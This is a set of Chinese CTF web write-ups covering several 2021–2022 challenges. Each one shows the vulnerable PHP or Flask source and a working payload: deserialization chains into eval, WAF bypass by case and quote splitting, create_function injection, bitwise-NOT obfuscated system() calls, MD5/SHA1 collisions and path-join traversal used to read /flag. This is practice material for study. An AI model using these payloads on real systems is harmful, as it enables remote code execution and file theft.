[NISACTF 2022]babyserialize

先看源码

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

最终的目的是触发NISA::__invoke魔术方法

__invoke的解释是:直接调用对象名当方法使用时,自动调用

可以通过Ilovetxw::__toString来触发NISA::__invoke

__tostring的解释是:将当前类的类名当作变量时自动调用

正常来讲,需要嵌套极长的链来出发,但NISA::__wakeup中的弱比较也可以触发Ilovetxw::__toString,所以有以下exp

<?php
class NISA{
	public $txw4ever = 'system("ls /");';
}

class Ilovetxw{
}

$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;

echo serialize($a);

被checkcheck函数拦截了,返回something wrong

经过多次尝试大写system可以过waf.php。

所以最终的exp是:

<?php
class NISA{
	public $txw4ever = 'SYSTEM("cat /f*");';
}

class Ilovetxw{}

$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;

echo serialize($a);

payalod是

O:4:"NISA":2:{s:8:"txw4ever";s:18:"SYSTEM("cat /f*");";s:3:"fun";O:8:"Ilovetxw":1:{s:2:"su";r:1;}}

[NISACTF 2022]babyupload

打开题目是一个上传页面

image-20230922155923350

查看源码发现隐藏注释

image-20230922160009311

访问/source得到源码

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

意思是上传文件后为文件生成uid,并将文件路径与uid绑定保存到数据库中,访问uid即可访问到文件

但是这里涉及到os.path.join的漏洞

绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

文件不能有后缀

根据这个漏洞,我们上传的文件名加上/就可以访问文件,于是上传/flag文件

image-20230922160845551

image-20230922160948117

end

[NISACTF 2022]level-up

打开题目啥也没有,源代码也没有提示

kali dirb目录扫描,扫到了robots.txt,里面有level_2_1s_h3re.php

<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?> 

md5强比较,而且不能用数组,使用两个md5值相等的字符串

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

需要注意的是,使用浏览器直接发送似乎有编码问题,建议使用burp构造发送

image-20230922204944907

访问Level___3.php,变成了sha1值强比较

 <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?> 

两个sha1值完全相同的字符串

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

使用burp提交

image-20230922205623612

访问level_level_4.php

 <?php
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }

?>

先了解一下parse_url()函数

parse_url()

本函数解析URL并返回关联数组,包含在URL中出现的各种组成部分。数组的元素值不会 URL解码。

本函数不是用来验证给定URL的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析。

返回数组的键query对应的元素是在问号?之后的值

再了解一下$_SERVER['REQUEST_URI']

访问的url:http:/127.0.0.1/index.php?a=1

$_SERVER[‘REQUEST_URI’]返回/index.php?a=1

正则过滤了空格_.,但是在php中[空格+. 这四个都可以被处理为_+没有过滤

NI+SA+=txw4ever

提交返回55_5_55.php,源码审计

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

这个正则是让第一个字符不能是小写字母数字或者下划线

看到$a('',$b);应该想到是create_function绕过

查看根目录文件

a=\create_function&b=return 1;}system('ls /');/*

最终payload:

a=\create_function&b=return 1;}system('cat /flag');/*

[NSSCTF 2022 Spring Recruit]babyphp

 <?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> 
  • 先过第一个if,需要a不含数字而且intval取整数

  • 官方对intval的解释是

通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。 
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1

所以我们传入数组就能过掉第一个if

a[]=1
  • 第三个if,由于md5函数无法处理数组,会返回nul
b1[]=1&b2[]=12 
md5(b1[]=1) === md5(b2[]=1)
  • 第四个if,需要传入值是字符串且md5值相等

弱判断下,0e开头的数等于0,所以使两端的md5值都为0e开头即可

以下这些字符串,md5哈希之后都是0e开头的:

QLTHNDT
0e405967825401955372549139051580

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
c1=QLTHNDT&c2=QNKCDZO

所以最终的payload是

a[]=1&b1[]=2&b2[]=12&c1=QLTHNDT&c2=QNKCDZO

[SWPUCTF 2021 新生赛]finalrce

preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)

没有过滤/teetac|、空格

我们可以用绕过正则,但是exec不会回显,所以将文件输出到文本文档中

url=l's' / | tee 1.txt

访问1.txt得到

image-20230922105206373

注意到la被过滤了,用单引号绕过,payload如下

url=ca't' /flllll''aaaaaaggggggg| tee 1.txt

image-20230922105834405

[SWPUCTF 2021 新生赛]hardrce

取反绕过

参考链接:

https://www.fengnayun.com/news/content/53902.html

https://blog.csdn.net/qq_45521281/article/details/105656737

目的是eval($wllm)命令执行

先用php取反

<?php
echo urlencode(~'system'); //%8C%86%8C%8B%9A%92
echo "<br>";
echo urlencode(~'ls /'); //%93%8C%DF%D0

构造payload

wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

image-20230920190851884

再次取反构造payload

<?php
echo urlencode(~'cat /flllllaaaaaaggggggg'); //%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98

//payload:
//wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
NSSCTF{084648f0-6cf3-4604-8607-cf9b6a10aaeb}

[鹏城杯 2022]简单的php

当php源码如下时

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);

    }

?> 

第一个if限制字符在80以内且不能传字母数字,但没有过滤[]!%;

preg_replace的过滤规则将限制函数不能有参数,也就是只能通过函数嵌套函数来达成目的

对于第一个if可以通过取反来绕过,第二个if可以使用二维数组的方式绕过,需要注意的是二维数组的分隔符是[!%FF],有以下payload

payload:

[~%8F%97%8F%96%91%99%90][!%FF]();
//phpinfo();

我们知道:

getallheaders()函数的作用时读取请求头并返回数组

end()的作用是返回数组的最后一个元素

通过读取请求头就可以实现无参RCE

对字符串取反:
%8C%86%8C%8B%9A%92   //system
%9A%91%9B		//end
%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C		//getallheaders

构造payload:

[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
//system(end(getallheaders()))

[鹤城杯 2021]EasyP

参考:https://www.nssctf.cn/note/set/1953

案例网址:https://www.shawroot.cc/php/index.php/test/foo?username=root
$_SERVER['PHP_SELF'] 	得到:/php/index.php/test/foo
$_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=root

$_SERVER['REQUEST_URI']不会将参数中的特殊符号进行转换,
也就是说它获取到的url上面的值,不会进行url解码

想要将show_source传递给index.php,而我们的目的是高亮显示utils.php,所以有如下payload

/index.php/utils.php/?show_source=1

这个正则匹配字符串末尾是否是utils.php,basename()函数的作用是返回最后一个/后面的字符,如果出现了非ascii字符就会丢弃

preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])

所以有以下payload:

/index.php/utils.php/%ff?show_source=1

匹配字符串中是否有show_source,php会把空格认为是_,而且$_SERVER['REQUEST_URI'])不会进行url解码,将任意字符进行url编码也可以绕过

preg_match('/show_source/', $_SERVER['REQUEST_URI'])

最终payload:

/index.php/utils.php/%ff?show%20source=1